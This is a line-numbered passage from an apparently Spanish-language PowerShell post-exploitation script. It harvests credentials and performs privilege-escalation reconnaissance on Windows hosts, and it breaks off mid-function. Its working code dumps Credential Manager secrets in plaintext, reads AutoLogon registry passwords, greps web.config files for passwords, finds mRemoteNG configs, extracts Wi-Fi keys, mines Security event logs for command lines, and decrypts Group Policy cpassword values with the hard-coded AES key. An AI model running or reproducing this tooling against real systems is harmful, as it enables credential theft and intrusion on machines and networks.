Microsoft.Win32.SafeHandles.CriticalHandleZeroOrMinusOneIsInvalid 233 | { 234 | public CriticalCredentialHandle(IntPtr preexistingHandle) 235 | { 236 | SetHandle(preexistingHandle); 237 | } 238 | 239 | private Credential XlateNativeCred(IntPtr pCred) 240 | { 241 | NativeCredential ncred = (NativeCredential)Marshal.PtrToStructure(pCred, typeof(NativeCredential)); 242 | Credential cred = new Credential(); 243 | cred.Type = ncred.Type; 244 | cred.Flags = ncred.Flags; 245 | cred.Persist = (CRED_PERSIST)ncred.Persist; 246 | 247 | long LastWritten = ncred.LastWritten.dwHighDateTime; 248 | LastWritten = (LastWritten << 32) + ncred.LastWritten.dwLowDateTime; 249 | cred.LastWritten = DateTime.FromFileTime(LastWritten); 250 | 251 | cred.UserName = Marshal.PtrToStringUni(ncred.UserName); 252 | cred.TargetName = Marshal.PtrToStringUni(ncred.TargetName); 253 | cred.TargetAlias = Marshal.PtrToStringUni(ncred.TargetAlias); 254 | cred.Comment = Marshal.PtrToStringUni(ncred.Comment); 255 | cred.CredentialBlobSize = ncred.CredentialBlobSize; 256 | if (0 < ncred.CredentialBlobSize) 257 | { 258 | cred.CredentialBlob = Marshal.PtrToStringUni(ncred.CredentialBlob, (int)ncred.CredentialBlobSize / 2); 259 | } 260 | return cred; 261 | } 262 | 263 | public Credential GetCredential() 264 | { 265 | if (IsInvalid) 266 | { 267 | throw new InvalidOperationException("Invalid CriticalHandle!"); 268 | } 269 | Credential cred = XlateNativeCred(handle); 270 | return cred; 271 | } 272 | 273 | public Credential[] GetCredentials(int count) 274 | { 275 | if (IsInvalid) 276 | { 277 | throw new InvalidOperationException("Invalid CriticalHandle!"); 278 | } 279 | Credential[] Credentials = new Credential[count]; 280 | IntPtr pTemp = IntPtr.Zero; 281 | for (int inx = 0; inx < count; inx++) 282 | { 283 | pTemp = Marshal.ReadIntPtr(handle, inx * IntPtr.Size); 284 | Credential cred = XlateNativeCred(pTemp); 285 | Credentials[inx] = cred; 286 | } 287 | return Credentials; 288 | } 289 | 290 | override protected bool ReleaseHandle() 291 | { 292 | if (IsInvalid) 293 | { 294 | return false; 295 | } 296 | CredFree(handle); 297 | SetHandleAsInvalid(); 298 | return true; 299 | } 300 | } 301 | #endregion 302 | 303 | #region Custom API 304 | public static int CredDelete(string target, CRED_TYPE type) 305 | { 306 | if (!CredDeleteW(target, type, 0)) 307 | { 308 | return Marshal.GetHRForLastWin32Error(); 309 | } 310 | return 0; 311 | } 312 | 313 | public static int CredEnum(string Filter, out Credential[] Credentials) 314 | { 315 | int count = 0; 316 | int Flags = 0x0; 317 | if (string.IsNullOrEmpty(Filter) || 318 | "*" == Filter) 319 | { 320 | Filter = null; 321 | if (6 <= Environment.OSVersion.Version.Major) 322 | { 323 | Flags = 0x1; //CRED_ENUMERATE_ALL_CREDENTIALS; only valid is OS >= Vista 324 | } 325 | } 326 | IntPtr pCredentials = IntPtr.Zero; 327 | if (!CredEnumerateW(Filter, Flags, out count, out pCredentials)) 328 | { 329 | Credentials = null; 330 | return Marshal.GetHRForLastWin32Error(); 331 | } 332 | CriticalCredentialHandle CredHandle = new CriticalCredentialHandle(pCredentials); 333 | Credentials = CredHandle.GetCredentials(count); 334 | return 0; 335 | } 336 | 337 | public static int CredRead(string target, CRED_TYPE type, out Credential Credential) 338 | { 339 | IntPtr pCredential = IntPtr.Zero; 340 | Credential = new Credential(); 341 | if (!CredReadW(target, type, 0, out pCredential)) 342 | { 343 | return Marshal.GetHRForLastWin32Error(); 344 | } 345 | CriticalCredentialHandle CredHandle = new CriticalCredentialHandle(pCredential); 346 | Credential = CredHandle.GetCredential(); 347 | return 0; 348 | } 349 | 350 | public static int CredWrite(Credential userCredential) 351 | { 352 | if (!CredWriteW(ref userCredential, 0)) 353 | { 354 | return Marshal.GetHRForLastWin32Error(); 355 | } 356 | return 0; 357 | } 358 | 359 | #endregion 360 | 361 | private static int AddCred() 362 | { 363 | Credential Cred = new Credential(); 364 | string Password = "Password"; 365 | Cred.Flags = 0; 366 | Cred.Type = CRED_TYPE.GENERIC; 367 | Cred.TargetName = "Target"; 368 | Cred.UserName = "UserName"; 369 | Cred.AttributeCount = 0; 370 | Cred.Persist = CRED_PERSIST.ENTERPRISE; 371 | Cred.CredentialBlobSize = (uint)Password.Length; 372 | Cred.CredentialBlob = Password; 373 | Cred.Comment = "Comment"; 374 | return CredWrite(Cred); 375 | } 376 | 377 | private static bool CheckError(string TestName, CRED_ERRORS Rtn) 378 | { 379 | switch(Rtn) 380 | { 381 | case CRED_ERRORS.ERROR_SUCCESS: 382 | Console.WriteLine(string.Format("'{0}' worked", TestName)); 383 | return true; 384 | case CRED_ERRORS.ERROR_INVALID_FLAGS: 385 | case CRED_ERRORS.ERROR_INVALID_PARAMETER: 386 | case CRED_ERRORS.ERROR_NO_SUCH_LOGON_SESSION: 387 | case CRED_ERRORS.ERROR_NOT_FOUND: 388 | case CRED_ERRORS.ERROR_BAD_USERNAME: 389 | Console.WriteLine(string.Format("'{0}' failed; {1}.", TestName, Rtn)); 390 | break; 391 | default: 392 | Console.WriteLine(string.Format("'{0}' failed; 0x{1}.", TestName, Rtn.ToString("X"))); 393 | break; 394 | } 395 | return false; 396 | } 397 | 398 | /* 399 | * Note: the Main() function is primarily for debugging and testing in a Visual 400 | * Studio session. Although it will work from PowerShell, it's not very useful. 401 | */ 402 | public static void Main() 403 | { 404 | Credential[] Creds = null; 405 | Credential Cred = new Credential(); 406 | int Rtn = 0; 407 | 408 | Console.WriteLine("Testing CredWrite()"); 409 | Rtn = AddCred(); 410 | if (!CheckError("CredWrite", (CRED_ERRORS)Rtn)) 411 | { 412 | return; 413 | } 414 | Console.WriteLine("Testing CredEnum()"); 415 | Rtn = CredEnum(null, out Creds); 416 | if (!CheckError("CredEnum", (CRED_ERRORS)Rtn)) 417 | { 418 | return; 419 | } 420 | Console.WriteLine("Testing CredRead()"); 421 | Rtn = CredRead("Target", CRED_TYPE.GENERIC, out Cred); 422 | if (!CheckError("CredRead", (CRED_ERRORS)Rtn)) 423 | { 424 | return; 425 | } 426 | Console.WriteLine("Testing CredDelete()"); 427 | Rtn = CredDelete("Target", CRED_TYPE.GENERIC); 428 | if (!CheckError("CredDelete", (CRED_ERRORS)Rtn)) 429 | { 430 | return; 431 | } 432 | Console.WriteLine("Testing CredRead() again"); 433 | Rtn = CredRead("Target", CRED_TYPE.GENERIC, out Cred); 434 | if (!CheckError("CredRead", (CRED_ERRORS)Rtn)) 435 | { 436 | Console.WriteLine("if the error is 'ERROR_NOT_FOUND', this result is OK."); 437 | } 438 | } 439 | } 440 | } 441 | "@ 442 | #endregion 443 | 444 | $PsCredMan = $null 445 | try 446 | { 447 | $PsCredMan = [PsUtils.CredMan] 448 | } 449 | catch 450 | { 451 | #only remove the error we generate 452 | $Error.RemoveAt($Error.Count-1) 453 | } 454 | if($null -eq $PsCredMan) 455 | { 456 | Add-Type $PsCredmanUtils 457 | } 458 | #endregion 459 | 460 | #region Internal Tools 461 | [HashTable] $ErrorCategory = @{0x80070057 = "InvalidArgument"; 462 | 0x800703EC = "InvalidData"; 463 | 0x80070490 = "ObjectNotFound"; 464 | 0x80070520 = "SecurityError"; 465 | 0x8007089A = "SecurityError"} 466 | 467 | function Get-CredType 468 | { 469 | Param 470 | ( 471 | [Parameter(Mandatory=$true)][ValidateSet("GENERIC", 472 | "DOMAIN_PASSWORD", 473 | "DOMAIN_CERTIFICATE", 474 | "DOMAIN_VISIBLE_PASSWORD", 475 | "GENERIC_CERTIFICATE", 476 | "DOMAIN_EXTENDED", 477 | "MAXIMUM", 478 | "MAXIMUM_EX")][String] $CredType 479 | ) 480 | 481 | switch($CredType) 482 | { 483 | "GENERIC" {return [PsUtils.CredMan+CRED_TYPE]::GENERIC} 484 | "DOMAIN_PASSWORD" {return [PsUtils.CredMan+CRED_TYPE]::DOMAIN_PASSWORD} 485 | "DOMAIN_CERTIFICATE" {return [PsUtils.CredMan+CRED_TYPE]::DOMAIN_CERTIFICATE} 486 | "DOMAIN_VISIBLE_PASSWORD" {return [PsUtils.CredMan+CRED_TYPE]::DOMAIN_VISIBLE_PASSWORD} 487 | "GENERIC_CERTIFICATE" {return [PsUtils.CredMan+CRED_TYPE]::GENERIC_CERTIFICATE} 488 | "DOMAIN_EXTENDED" {return [PsUtils.CredMan+CRED_TYPE]::DOMAIN_EXTENDED} 489 | "MAXIMUM" {return [PsUtils.CredMan+CRED_TYPE]::MAXIMUM} 490 | "MAXIMUM_EX" {return [PsUtils.CredMan+CRED_TYPE]::MAXIMUM_EX} 491 | } 492 | } 493 | 494 | function Get-CredPersist 495 | { 496 | Param 497 | ( 498 | [Parameter(Mandatory=$true)][ValidateSet("SESSION", 499 | "LOCAL_MACHINE", 500 | "ENTERPRISE")][String] $CredPersist 501 | ) 502 | 503 | switch($CredPersist) 504 | { 505 | "SESSION" {return [PsUtils.CredMan+CRED_PERSIST]::SESSION} 506 | "LOCAL_MACHINE" {return [PsUtils.CredMan+CRED_PERSIST]::LOCAL_MACHINE} 507 | "ENTERPRISE" {return [PsUtils.CredMan+CRED_PERSIST]::ENTERPRISE} 508 | } 509 | } 510 | #endregion 511 | 512 | #region Dot-Sourced API 513 | function Del-Creds 514 | { 515 | <# 516 | .Synopsis 517 | Deletes the specified credentials 518 | 519 | .Description 520 | Calls Win32 CredDeleteW via [PsUtils.CredMan]::CredDelete 521 | 522 | .INPUTS 523 | See function-level notes 524 | 525 | .OUTPUTS 526 | 0 or non-0 according to action success 527 | [Management.Automation.ErrorRecord] if error encountered 528 | 529 | .PARAMETER Target 530 | Specifies the URI for which the credentials are associated 531 | 532 | .PARAMETER CredType 533 | Specifies the desired credentials type; defaults to 534 | "CRED_TYPE_GENERIC" 535 | #> 536 | 537 | Param 538 | ( 539 | [Parameter(Mandatory=$true)][ValidateLength(1,32767)][String] $Target, 540 | [Parameter(Mandatory=$false)][ValidateSet("GENERIC", 541 | "DOMAIN_PASSWORD", 542 | "DOMAIN_CERTIFICATE", 543 | "DOMAIN_VISIBLE_PASSWORD", 544 | "GENERIC_CERTIFICATE", 545 | "DOMAIN_EXTENDED", 546 | "MAXIMUM", 547 | "MAXIMUM_EX")][String] $CredType = "GENERIC" 548 | ) 549 | 550 | [Int] $Results = 0 551 | try 552 | { 553 | $Results = [PsUtils.CredMan]::CredDelete($Target, $(Get-CredType $CredType)) 554 | } 555 | catch 556 | { 557 | return $_ 558 | } 559 | if(0 -ne $Results) 560 | { 561 | [String] $Msg = "Failed to delete credentials store for target '$Target'" 562 | [Management.ManagementException] $MgmtException = New-Object Management.ManagementException($Msg) 563 | [Management.Automation.ErrorRecord] $ErrRcd = New-Object Management.Automation.ErrorRecord($MgmtException, $Results.ToString("X"), $ErrorCategory[$Results], $null) 564 | return $ErrRcd 565 | } 566 | return $Results 567 | } 568 | 569 | function Enum-Creds 570 | { 571 | <# 572 | .Synopsis 573 | Enumerates stored credentials for operating user 574 | 575 | .Description 576 | Calls Win32 CredEnumerateW via [PsUtils.CredMan]::CredEnum 577 | 578 | .INPUTS 579 | 580 | 581 | .OUTPUTS 582 | [PsUtils.CredMan+Credential[]] if successful 583 | [Management.Automation.ErrorRecord] if unsuccessful or error encountered 584 | 585 | .PARAMETER Filter 586 | Specifies the filter to be applied to the query 587 | Defaults to [String]::Empty 588 | 589 | #> 590 | 591 | Param 592 | ( 593 | [Parameter(Mandatory=$false)][AllowEmptyString()][String] $Filter = [String]::Empty 594 | ) 595 | 596 | [PsUtils.CredMan+Credential[]] $Creds = [Array]::CreateInstance([PsUtils.CredMan+Credential], 0) 597 | [Int] $Results = 0 598 | try 599 | { 600 | $Results = [PsUtils.CredMan]::CredEnum($Filter, [Ref]$Creds) 601 | } 602 | catch 603 | { 604 | return $_ 605 | } 606 | switch($Results) 607 | { 608 | 0 {break} 609 | 0x80070490 {break} #ERROR_NOT_FOUND 610 | default 611 | { 612 | [String] $Msg = "Failed to enumerate credentials store for user '$Env:UserName'" 613 | [Management.ManagementException] $MgmtException = New-Object Management.ManagementException($Msg) 614 | [Management.Automation.ErrorRecord] $ErrRcd = New-Object Management.Automation.ErrorRecord($MgmtException, $Results.ToString("X"), $ErrorCategory[$Results], $null) 615 | return $ErrRcd 616 | } 617 | } 618 | return $Creds 619 | } 620 | 621 | function Read-Creds 622 | { 623 | <# 624 | .Synopsis 625 | Reads specified credentials for operating user 626 | 627 | .Description 628 | Calls Win32 CredReadW via [PsUtils.CredMan]::CredRead 629 | 630 | .INPUTS 631 | 632 | .OUTPUTS 633 | [PsUtils.CredMan+Credential] if successful 634 | [Management.Automation.ErrorRecord] if unsuccessful or error encountered 635 | 636 | .PARAMETER Target 637 | Specifies the URI for which the credentials are associated 638 | If not provided, the username is used as the target 639 | 640 | .PARAMETER CredType 641 | Specifies the desired credentials type; defaults to 642 | "CRED_TYPE_GENERIC" 643 | #> 644 | 645 | Param 646 | ( 647 | [Parameter(Mandatory=$true)][ValidateLength(1,32767)][String] $Target, 648 | [Parameter(Mandatory=$false)][ValidateSet("GENERIC", 649 | "DOMAIN_PASSWORD", 650 | "DOMAIN_CERTIFICATE", 651 | "DOMAIN_VISIBLE_PASSWORD", 652 | "GENERIC_CERTIFICATE", 653 | "DOMAIN_EXTENDED", 654 | "MAXIMUM", 655 | "MAXIMUM_EX")][String] $CredType = "GENERIC" 656 | ) 657 | 658 | if("GENERIC" -ne $CredType -and 337 -lt $Target.Length) #CRED_MAX_DOMAIN_TARGET_NAME_LENGTH 659 | { 660 | [String] $Msg = "Target field is longer ($($Target.Length)) than allowed (max 337 characters)" 661 | [Management.ManagementException] $MgmtException = New-Object Management.ManagementException($Msg) 662 | [Management.Automation.ErrorRecord] $ErrRcd = New-Object Management.Automation.ErrorRecord($MgmtException, 666, 'LimitsExceeded', $null) 663 | return $ErrRcd 664 | } 665 | [PsUtils.CredMan+Credential] $Cred = New-Object PsUtils.CredMan+Credential 666 | [Int] $Results = 0 667 | try 668 | { 669 | $Results = [PsUtils.CredMan]::CredRead($Target, $(Get-CredType $CredType), [Ref]$Cred) 670 | } 671 | catch 672 | { 673 | return $_ 674 | } 675 | 676 | switch($Results) 677 | { 678 | 0 {break} 679 | 0x80070490 {return $null} #ERROR_NOT_FOUND 680 | default 681 | { 682 | [String] $Msg = "Error reading credentials for target '$Target' from '$Env:UserName' credentials store" 683 | [Management.ManagementException] $MgmtException = New-Object Management.ManagementException($Msg) 684 | [Management.Automation.ErrorRecord] $ErrRcd = New-Object Management.Automation.ErrorRecord($MgmtException, $Results.ToString("X"), $ErrorCategory[$Results], $null) 685 | return $ErrRcd 686 | } 687 | } 688 | return $Cred 689 | } 690 | 691 | function Write-Creds 692 | { 693 | <# 694 | .Synopsis 695 | Saves or updates specified credentials for operating user 696 | 697 | .Description 698 | Calls Win32 CredWriteW via [PsUtils.CredMan]::CredWrite 699 | 700 | .INPUTS 701 | 702 | .OUTPUTS 703 | [Boolean] true if successful 704 | [Management.Automation.ErrorRecord] if unsuccessful or error encountered 705 | 706 | .PARAMETER Target 707 | Specifies the URI for which the credentials are associated 708 | If not provided, the username is used as the target 709 | 710 | .PARAMETER UserName 711 | Specifies the name of credential to be read 712 | 713 | .PARAMETER Password 714 | Specifies the password of credential to be read 715 | 716 | .PARAMETER Comment 717 | Allows the caller to specify the comment associated with 718 | these credentials 719 | 720 | .PARAMETER CredType 721 | Specifies the desired credentials type; defaults to 722 | "CRED_TYPE_GENERIC" 723 | 724 | .PARAMETER CredPersist 725 | Specifies the desired credentials storage type; 726 | defaults to "CRED_PERSIST_ENTERPRISE" 727 | #> 728 | 729 | Param 730 | ( 731 | [Parameter(Mandatory=$false)][ValidateLength(0,32676)][String] $Target, 732 | [Parameter(Mandatory=$true)][ValidateLength(1,512)][String] $UserName, 733 | [Parameter(Mandatory=$true)][ValidateLength(1,512)][String] $Password, 734 | [Parameter(Mandatory=$false)][ValidateLength(0,256)][String] $Comment = [String]::Empty, 735 | [Parameter(Mandatory=$false)][ValidateSet("GENERIC", 736 | "DOMAIN_PASSWORD", 737 | "DOMAIN_CERTIFICATE", 738 | "DOMAIN_VISIBLE_PASSWORD", 739 | "GENERIC_CERTIFICATE", 740 | "DOMAIN_EXTENDED", 741 | "MAXIMUM", 742 | "MAXIMUM_EX")][String] $CredType = "GENERIC", 743 | [Parameter(Mandatory=$false)][ValidateSet("SESSION", 744 | "LOCAL_MACHINE", 745 | "ENTERPRISE")][String] $CredPersist = "ENTERPRISE" 746 | ) 747 | 748 | if([String]::IsNullOrEmpty($Target)) 749 | { 750 | $Target = $UserName 751 | } 752 | if("GENERIC" -ne $CredType -and 337 -lt $Target.Length) #CRED_MAX_DOMAIN_TARGET_NAME_LENGTH 753 | { 754 | [String] $Msg = "Target field is longer ($($Target.Length)) than allowed (max 337 characters)" 755 | [Management.ManagementException] $MgmtException = New-Object Management.ManagementException($Msg) 756 | [Management.Automation.ErrorRecord] $ErrRcd = New-Object Management.Automation.ErrorRecord($MgmtException, 666, 'LimitsExceeded', $null) 757 | return $ErrRcd 758 | } 759 | if([String]::IsNullOrEmpty($Comment)) 760 | { 761 | $Comment = [String]::Format("Last edited by {0}\{1} on {2}", 762 | $Env:UserDomain, 763 | $Env:UserName, 764 | $Env:ComputerName) 765 | } 766 | [String] $DomainName = [Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties().DomainName 767 | [PsUtils.CredMan+Credential] $Cred = New-Object PsUtils.CredMan+Credential 768 | switch($Target -eq $UserName -and 769 | ("CRED_TYPE_DOMAIN_PASSWORD" -eq $CredType -or 770 | "CRED_TYPE_DOMAIN_CERTIFICATE" -eq $CredType)) 771 | { 772 | $true {$Cred.Flags = [PsUtils.CredMan+CRED_FLAGS]::USERNAME_TARGET} 773 | $false {$Cred.Flags = [PsUtils.CredMan+CRED_FLAGS]::NONE} 774 | } 775 | $Cred.Type = Get-CredType $CredType 776 | $Cred.TargetName = $Target 777 | $Cred.UserName = $UserName 778 | $Cred.AttributeCount = 0 779 | $Cred.Persist = Get-CredPersist $CredPersist 780 | $Cred.CredentialBlobSize = [Text.Encoding]::Unicode.GetBytes($Password).Length 781 | $Cred.CredentialBlob = $Password 782 | $Cred.Comment = $Comment 783 | 784 | [Int] $Results = 0 785 | try 786 | { 787 | $Results = [PsUtils.CredMan]::CredWrite($Cred) 788 | } 789 | catch 790 | { 791 | return $_ 792 | } 793 | 794 | if(0 -ne $Results) 795 | { 796 | [String] $Msg = "Failed to write to credentials store for target '$Target' using '$UserName', '$Password', '$Comment'" 797 | [Management.ManagementException] $MgmtException = New-Object Management.ManagementException($Msg) 798 | [Management.Automation.ErrorRecord] $ErrRcd = New-Object Management.Automation.ErrorRecord($MgmtException, $Results.ToString("X"), $ErrorCategory[$Results], $null) 799 | return $ErrRcd 800 | } 801 | return $Results 802 | } 803 | 804 | #endregion 805 | 806 | #region Cmd-Line functionality 807 | function CredManMain 808 | { 809 | #region Adding credentials 810 | if($AddCred) 811 | { 812 | if([String]::IsNullOrEmpty($User) -or 813 | [String]::IsNullOrEmpty($Pass)) 814 | { 815 | Write-Host "You must supply a user name and password (target URI is optional)." 816 | return 817 | } 818 | # may be [Int32] or [Management.Automation.ErrorRecord] 819 | [Object] $Results = Write-Creds $Target $User $Pass $Comment $CredType $CredPersist 820 | if(0 -eq $Results) 821 | { 822 | [Object] $Cred = Read-Creds $Target $CredType 823 | if($null -eq $Cred) 824 | { 825 | Write-Host "Credentials for '$Target', '$User' was not found." 826 | return 827 | } 828 | if($Cred -is [Management.Automation.ErrorRecord]) 829 | { 830 | return $Cred 831 | } 832 | [String] $CredStr = @" 833 | Successfully wrote or updated credentials as: 834 | UserName : $($Cred.UserName) 835 | Password : $($Cred.CredentialBlob) 836 | Target : $($Cred.TargetName.Substring($Cred.TargetName.IndexOf("=")+1)) 837 | Updated : $([String]::Format("{0:yyyy-MM-dd HH:mm:ss}", $Cred.LastWritten.ToUniversalTime())) UTC 838 | Comment : $($Cred.Comment) 839 | "@ 840 | Write-Host $CredStr 841 | 842 | return 843 | } 844 | # will be a [Management.Automation.ErrorRecord] 845 | return $Results 846 | } 847 | #endregion 848 | 849 | #region Removing credentials 850 | if($DelCred) 851 | { 852 | if(-not $Target) 853 | { 854 | Write-Host "You must supply a target URI." 855 | return 856 | } 857 | # may be [Int32] or [Management.Automation.ErrorRecord] 858 | [Object] $Results = Del-Creds $Target $CredType 859 | if(0 -eq $Results) 860 | { 861 | Write-Host "Successfully deleted credentials for '$Target'" 862 | return 863 | } 864 | # will be a [Management.Automation.ErrorRecord] 865 | return $Results 866 | } 867 | #endregion 868 | 869 | #region Reading selected credential 870 | if($GetCred) 871 | { 872 | if(-not $Target) 873 | { 874 | Write-Host "You must supply a target URI." 875 | return 876 | } 877 | # may be [PsUtils.CredMan+Credential] or [Management.Automation.ErrorRecord] 878 | [Object] $Cred = Read-Creds $Target $CredType 879 | if($null -eq $Cred) 880 | { 881 | Write-Host "Credential for '$Target' as '$CredType' type was not found." 882 | return 883 | } 884 | if($Cred -is [Management.Automation.ErrorRecord]) 885 | { 886 | return $Cred 887 | } 888 | [String] $CredStr = @" 889 | Found credentials as: 890 | UserName : $($Cred.UserName) 891 | Password : $($Cred.CredentialBlob) 892 | Target : $($Cred.TargetName.Substring($Cred.TargetName.IndexOf("=")+1)) 893 | Updated : $([String]::Format("{0:yyyy-MM-dd HH:mm:ss}", $Cred.LastWritten.ToUniversalTime())) UTC 894 | Comment : $($Cred.Comment) 895 | "@ 896 | Write-Host $CredStr 897 | } 898 | #endregion 899 | 900 | #region Reading all credentials 901 | if($ShoCred) 902 | { 903 | # may be [PsUtils.CredMan+Credential[]] or [Management.Automation.ErrorRecord] 904 | [Object] $Creds = Enum-Creds 905 | if($Creds -split [Array] -and 0 -eq $Creds.Length) 906 | { 907 | Write-Host "No Credentials found for $($Env:UserName)" 908 | return 909 | } 910 | if($Creds -is [Management.Automation.ErrorRecord]) 911 | { 912 | return $Creds 913 | } 914 | foreach($Cred in $Creds) 915 | { 916 | [String] $CredStr = @" 917 | 918 | UserName : $($Cred.UserName) 919 | Password : $($Cred.CredentialBlob) 920 | Target : $($Cred.TargetName.Substring($Cred.TargetName.IndexOf("=")+1)) 921 | Updated : $([String]::Format("{0:yyyy-MM-dd HH:mm:ss}", $Cred.LastWritten.ToUniversalTime())) UTC 922 | Comment : $($Cred.Comment) 923 | "@ 924 | 925 | 926 | if($All) 927 | { 928 | $CredStr = @" 929 | $CredStr 930 | Alias : $($Cred.TargetAlias) 931 | AttribCnt : $($Cred.AttributeCount) 932 | Attribs : $($Cred.Attributes) 933 | Flags : $($Cred.Flags) 934 | Pwd Size : $($Cred.CredentialBlobSize) 935 | Storage : $($Cred.Persist) 936 | Type : $($Cred.Type) 937 | "@ 938 | 939 | 940 | } 941 | 942 | 943 | $Credenciales_extraidas = New-Object psobject -Property @{ 944 | "Username" = $Cred.UserName 945 | "Password" = $Cred.CredentialBlob 946 | "Target" = $Cred.TargetName.Substring($Cred.TargetName.IndexOf("=")+1) 947 | "Updated" = ([String]::Format("{0:yyyy-MM-dd HH:mm:ss}", $Cred.LastWritten.ToUniversalTime())) 948 | "Comment" = $Cred.Comment 949 | } 950 | if (($Credenciales_extraidas.password).length -lt 30 -and ($Credenciales_extraidas.password).length -gt "3") {$Credenciales_extraidas} else {} 951 | 952 | } 953 | return 954 | } 955 | #endregion 956 | 957 | #region Run basic diagnostics 958 | if($RunTests) 959 | { 960 | [PsUtils.CredMan]::Main() 961 | } 962 | #endregion 963 | } 964 | #endregion 965 | 966 | CredManMain 967 | } 968 | function Get-Config-Firewall { 969 | Write-Host "`n[+] ================================== Configuracion de Firewall ==================================`n" 970 | netsh firewall show stat 971 | $f=New-object -comObject HNetCfg.FwPolicy2;($f.rules | where {$_.action -eq "0"} | select name,applicationname,localports) 972 | 973 | } 974 | $tareas = schtasks /query /fo LIST /v 975 | function Get-DriversInstalados { Get-WmiObject Win32_PnPSignedDriver| Where-Object {$_.DriverProviderName -notlike "Microsoft" -and $_.devicename -ne $null} | select devicename, driverversion} 976 | function Obtenemos-Servicios { 977 | Start-Job -ScriptBlock { Get-ItemProperty "registry::HKLM\SYSTEM\CurrentControlSet\services\*" | Where-Object {$_.imagePath -notlike "*system32*" -and $_.imagepath -ne $null -and $_.imagepath -notlike '*"*' } |Select-Object PSChildName,ImagePath | Format-Table} | Wait-Job | Receive-Job 978 | } 979 | function get-autologon { 980 | $resultado = Get-ItemProperty "registry::HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon" | Select-Object AutoAdminLogon, DefaultUserName, DefaultPassword, DefaultDomainName 981 | 982 | if (($resultado.DefaultPassword).count -ge "1") {Write-Host "`n[+] ================================== Encontradas Credenciales en AutoLogon ==================================`n";$resultado} else {Write-Host "`n[+] ================================== No se han encontrado datos en AutoLogon ==================================`n"} 983 | 984 | 985 | } 986 | function buscarCadena([String]$cadena , [String]$file) { 987 | if ((Test-Path -Path $file) -and $cadena) { 988 | $list = Get-Content $file 989 | if ($list -match $cadena) { 990 | return $true 991 | } 992 | } 993 | return $false 994 | } 995 | function Get-Webconfig { 996 | [array]$webconfigs = (ls c:\inetpub -Recurse -Force -ErrorAction SilentlyContinue | Where-Object {$_.FullName -like "*web.config"} | Select-Object fullname).fullname 997 | foreach ($webconfig in $webconfigs) { 998 | if ((buscarCadena -cadena "pass" -file $webconfig) -eq $true) { 999 | $ErrorActionPreference = "SilentlyContinue" 1000 | Write-Host "`n[+] ================================== Posible Password ==================================`n" 1001 | Write-Host "[+] Archivo : $webconfig `n" 1002 | Write-Host "[+] Contenido : `n" 1003 | gc $webconfig 1004 | 1005 | } 1006 | 1007 | } } 1008 | function Get-Mremote { 1009 | 1010 | [array]$full_user = (ls c:\users\ | Select-Object fullname).fullname 1011 | foreach ($usuario in $full_user) { 1012 | if ( (test-path "$usuario\appdata\Roaming\mRemoteNG") -eq $true ) { 1013 | Write-Host "`n[+] ================================== Encontrada configuracion de mRemoteNG ==================================`n" 1014 | Write-Host "[+] $usuario\appdata\Roaming\mRemoteNG`n" 1015 | (ls $usuario\appdata\Roaming\mRemoteNG).FullName 1016 | Write-Host "[+] Herramienta para descifrar `nhttps://github.com/kmahyyg/mremoteng-decrypt" 1017 | 1018 | } else {} 1019 | 1020 | } 1021 | } 1022 | function Get-Software { 1023 | ls HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall | ForEach-Object -Process {$_.getvalue("DisplayName")} 1024 | 1025 | 1026 | } 1027 | function Find-EventCommand {param($string) if ($string -eq $null) {$comandos = (get-WinEvent -FilterHashtable @{LogName = 'Security'} | Select-Object @{name='NewProcessName';expression={ $_.Properties[5].Value }}, @{name='CommandLine';expression={ $_.Properties[8].Value }}).commandline ; $comandos | Out-File $env:temp"\salida.txt" ; $comandos = gc $env:temp"\salida.txt"; $comandos} else {$comandos = (get-WinEvent -FilterHashtable @{LogName = 'Security'} | Select-Object @{name='NewProcessName';expression={ $_.Properties[5].Value }}, @{name='CommandLine';expression={ $_.Properties[8].Value }}).commandline ; $comandos | Out-File $env:temp"\salida.txt" ; $comandos = gc $env:temp"\salida.txt"; $comandos | Select-String $string }} 1028 | function Wifi-Password { 1029 | 1030 | Start-Job -ScriptBlock {(netsh wlan show profiles) | Select-String “\:(.+)$” | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=”$name” key=clear)} | Select-String “Key Content\W+\:(.+)$” | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize | Out-File $env:temp\wifi.txt} | Wait-Job | Receive-Job 1031 | if ((gc $env:temp\wifi.txt).count -ge 1) { 1032 | write-host "`n[+] ================================== Wifi Passwords ==================================" 1033 | gc $env:temp\wifi.txt 1034 | Remove-Item $env:temp\wifi.txt -ea SilentlyContinue 1035 | 1036 | 1037 | } 1038 | 1039 | 1040 | } 1041 | function Get-DecryptedCpassword { 1042 | [CmdletBinding()] 1043 | Param ( 1044 | [string] $Cpassword 1045 | ) 1046 | 1047 | try { 1048 | 1049 | $Mod = ($Cpassword.length % 4) 1050 | 1051 | switch ($Mod) { 1052 | '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)} 1053 | '2' {$Cpassword += ('=' * (4 - $Mod))} 1054 | '3' {$Cpassword += ('=' * (4 - $Mod))} 1055 | } 1056 | 1057 | $Base64Decoded = [Convert]::FromBase64String($Cpassword) 1058 | 1059 | 1060 | try 1061 | { 1062 | $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider -ErrorAction Stop 1063 | } 1064 | catch 1065 | { 1066 | 1067 | Write-Warning 'Unable to decrypt cPassword is .Net 3.5 installed?' 1068 | return $Cpassword 1069 | } 1070 | [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, 1071 | 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) 1072 | 1073 | 1074 | $AesIV = New-Object Byte[]($AesObject.IV.Length) 1075 | $AesObject.IV = $AesIV 1076 | $AesObject.Key = $AesKey 1077 | $DecryptorObject = $AesObject.CreateDecryptor() 1078 | [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) 1079 | 1080 | return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) 1081 | } 1082 | 1083 | catch {Write-Error $Error[0]} 1084 | } 1085 | function Search-cpassword { 1086 | 1087 | 1088 | $path_sysvol 